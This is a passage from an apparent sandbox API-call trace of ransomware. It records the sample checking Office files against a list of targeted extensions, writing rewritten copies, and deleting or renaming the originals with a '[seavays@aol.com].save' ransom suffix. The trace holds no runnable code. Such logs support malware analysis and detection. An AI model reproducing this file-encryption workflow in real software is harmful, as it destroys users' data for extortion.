lpNumberOfBytesWritten=0x350fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.915] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.915] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.915] SetEndOfFile (hFile=0x314) returned 1 [0060.915] CloseHandle (hObject=0x314) returned 1 [0060.916] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.916] SetEndOfFile (hFile=0x2c0) returned 1 [0060.917] CloseHandle (hObject=0x2c0) returned 1 [0060.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0060.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.918] lstrlenW (lpString=".doc") returned 4 [0060.918] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.918] lstrlenW (lpString=".docx") returned 5 [0060.918] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.918] lstrlenW (lpString=".pdf") returned 4 [0060.918] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.918] lstrlenW (lpString=".xls") returned 4 [0060.918] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.918] lstrlenW (lpString=".xlsx") returned 5 [0060.918] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.919] lstrlenW (lpString=".ppt") returned 4 [0060.919] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.919] lstrlenW (lpString=".zip") returned 4 [0060.919] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.919] lstrlenW (lpString=".rar") returned 4 [0060.919] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.919] lstrlenW (lpString=".bz2") returned 4 [0060.919] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.919] lstrlenW (lpString=".7z") returned 3 [0060.919] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.919] lstrlenW (lpString=".dbf") returned 4 [0060.919] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.919] lstrlenW (lpString=".1cd") returned 4 [0060.919] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.919] lstrlenW (lpString=".jpg") returned 4 [0060.919] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.919] lstrlenW (lpString=".doc") returned 4 [0060.919] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.919] lstrlenW (lpString=".docx") returned 5 [0060.919] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.919] lstrlenW (lpString=".pdf") returned 4 [0060.919] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.919] lstrlenW (lpString=".xls") returned 4 [0060.919] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.919] lstrlenW (lpString=".xlsx") returned 5 [0060.919] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.919] lstrlenW (lpString=".ppt") returned 4 [0060.920] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.920] lstrlenW (lpString=".zip") returned 4 [0060.920] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.920] lstrlenW (lpString=".rar") returned 4 [0060.920] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.920] lstrlenW (lpString=".bz2") returned 4 [0060.920] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.920] lstrlenW (lpString=".7z") returned 3 [0060.920] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.920] lstrlenW (lpString=".dbf") returned 4 [0060.920] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.920] lstrlenW (lpString=".1cd") returned 4 [0060.920] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0060.920] lstrlenW (lpString=".jpg") returned 4 [0060.920] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.920] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.920] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53 [0060.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.921] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3375) returned 1 [0060.921] CloseHandle (hObject=0x2c0) returned 1 [0060.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0060.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.921] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.921] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0060.922] GetLastError () returned 0x0 [0060.922] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xd2f, lpOverlapped=0x0) returned 1 [0061.097] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xd30, lpOverlapped=0x0) returned 1 [0061.099] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.099] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0061.099] SetEndOfFile (hFile=0x314) returned 1 [0061.099] CloseHandle (hObject=0x314) returned 1 [0061.100] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.100] SetEndOfFile (hFile=0x2c0) returned 1 [0061.101] CloseHandle (hObject=0x2c0) returned 1 [0061.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0061.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.102] lstrlenW (lpString=".doc") returned 4 [0061.102] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.102] lstrlenW (lpString=".docx") returned 5 [0061.102] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0061.102] lstrlenW (lpString=".pdf") returned 4 [0061.102] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.102] lstrlenW (lpString=".xls") returned 4 [0061.102] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.102] lstrlenW (lpString=".xlsx") returned 5 [0061.102] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0061.103] lstrlenW (lpString=".ppt") returned 4 [0061.103] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.103] lstrlenW (lpString=".zip") returned 4 [0061.103] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.103] lstrlenW (lpString=".rar") returned 4 [0061.103] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.103] lstrlenW (lpString=".bz2") returned 4 [0061.103] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.103] lstrlenW (lpString=".7z") returned 3 [0061.103] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.103] lstrlenW (lpString=".dbf") returned 4 [0061.103] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.103] lstrlenW (lpString=".1cd") returned 4 [0061.103] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.103] lstrlenW (lpString=".jpg") returned 4 [0061.103] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.103] lstrlenW (lpString=".doc") returned 4 [0061.103] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.103] lstrlenW (lpString=".docx") returned 5 [0061.103] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0061.103] lstrlenW (lpString=".pdf") returned 4 [0061.103] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.103] lstrlenW (lpString=".xls") returned 4 [0061.103] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.103] lstrlenW (lpString=".xlsx") returned 5 [0061.103] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0061.103] lstrlenW (lpString=".ppt") returned 4 [0061.104] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.104] lstrlenW (lpString=".zip") returned 4 [0061.104] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.104] lstrlenW (lpString=".rar") returned 4 [0061.104] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.104] lstrlenW (lpString=".bz2") returned 4 [0061.104] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.104] lstrlenW (lpString=".7z") returned 3 [0061.104] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.104] lstrlenW (lpString=".dbf") returned 4 [0061.104] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.104] lstrlenW (lpString=".1cd") returned 4 [0061.104] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0061.104] lstrlenW (lpString=".jpg") returned 4 [0061.104] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.104] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0061.104] lstrlenW (lpString="AppXManifest.common.xml") returned 23 [0061.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0061.105] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=2173046) returned 1 [0061.105] CloseHandle (hObject=0x2c0) returned 1 [0061.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0061.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[seavays@aol.com].save")) returned 1 [0061.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0061.567] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0x0) returned 1 [0061.567] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1 [0061.567] ReadFile (in: hFile=0x380, lpBuffer=0x3f2d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f2d058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1 [0061.572] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1 [0061.572] ReadFile (in: hFile=0x380, lpBuffer=0x3f6d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f6d058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1 [0061.575] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x350fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0061.575] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x350fc24 | out: lpNewFilePointer=0x0) returned 1 [0061.575] ReadFile (in: hFile=0x380, lpBuffer=0x3fad058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fad058*, lpNumberOfBytesRead=0x350fc30*=0x40000, lpOverlapped=0x0) returned 1 [0061.601] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.602] WriteFile (in: hFile=0x380, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x350fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0062.020] SetEndOfFile (hFile=0x380) returned 1 [0062.021] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x42f3cc0 [0062.709] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1 [0062.710] WriteFile (in: hFile=0x380, lpBuffer=0x42f3cc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x42f3cc0*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1 [0062.711] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1 [0062.711] WriteFile (in: hFile=0x380, lpBuffer=0x42f3cc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x42f3cc0*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1 [0062.713] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x350fc74 | out: lpNewFilePointer=0x0) returned 1 [0062.713] WriteFile (in: hFile=0x380, lpBuffer=0x42f3cc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc80, lpOverlapped=0x0 | out: lpBuffer=0x42f3cc0*, lpNumberOfBytesWritten=0x350fc80*=0x40000, lpOverlapped=0x0) returned 1 [0062.715] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f3cc0 | out: hHeap=0x6a0000) returned 1 [0062.717] CloseHandle (hObject=0x380) returned 1 [0063.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.563] lstrlenW (lpString=".doc") returned 4 [0063.563] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.563] lstrlenW (lpString=".docx") returned 5 [0063.563] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0063.563] lstrlenW (lpString=".pdf") returned 4 [0063.563] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.563] lstrlenW (lpString=".xls") returned 4 [0063.563] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.563] lstrlenW (lpString=".xlsx") returned 5 [0063.563] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0063.563] lstrlenW (lpString=".ppt") returned 4 [0063.563] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.563] lstrlenW (lpString=".zip") returned 4 [0063.563] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.563] lstrlenW (lpString=".rar") returned 4 [0063.563] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.564] lstrlenW (lpString=".bz2") returned 4 [0063.564] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.564] lstrlenW (lpString=".7z") returned 3 [0063.564] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.564] lstrlenW (lpString=".dbf") returned 4 [0063.564] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.564] lstrlenW (lpString=".1cd") returned 4 [0063.564] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.564] lstrlenW (lpString=".jpg") returned 4 [0063.564] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.564] lstrlenW (lpString=".doc") returned 4 [0063.564] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.564] lstrlenW (lpString=".docx") returned 5 [0063.564] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0063.564] lstrlenW (lpString=".pdf") returned 4 [0063.564] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.564] lstrlenW (lpString=".xls") returned 4 [0063.564] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.564] lstrlenW (lpString=".xlsx") returned 5 [0063.564] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0063.564] lstrlenW (lpString=".ppt") returned 4 [0063.564] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.564] lstrlenW (lpString=".zip") returned 4 [0063.564] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.564] lstrlenW (lpString=".rar") returned 4 [0063.564] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.565] lstrlenW (lpString=".bz2") returned 4 [0063.565] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.565] lstrlenW (lpString=".7z") returned 3 [0063.565] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.565] lstrlenW (lpString=".dbf") returned 4 [0063.565] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.565] lstrlenW (lpString=".1cd") returned 4 [0063.565] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0063.565] lstrlenW (lpString=".jpg") returned 4 [0063.565] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.565] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.565] lstrlenW (lpString="AN02559_.WMF") returned 12 [0063.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.916] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=6632) returned 1 [0063.916] CloseHandle (hObject=0x38c) returned 1 [0063.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0063.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: 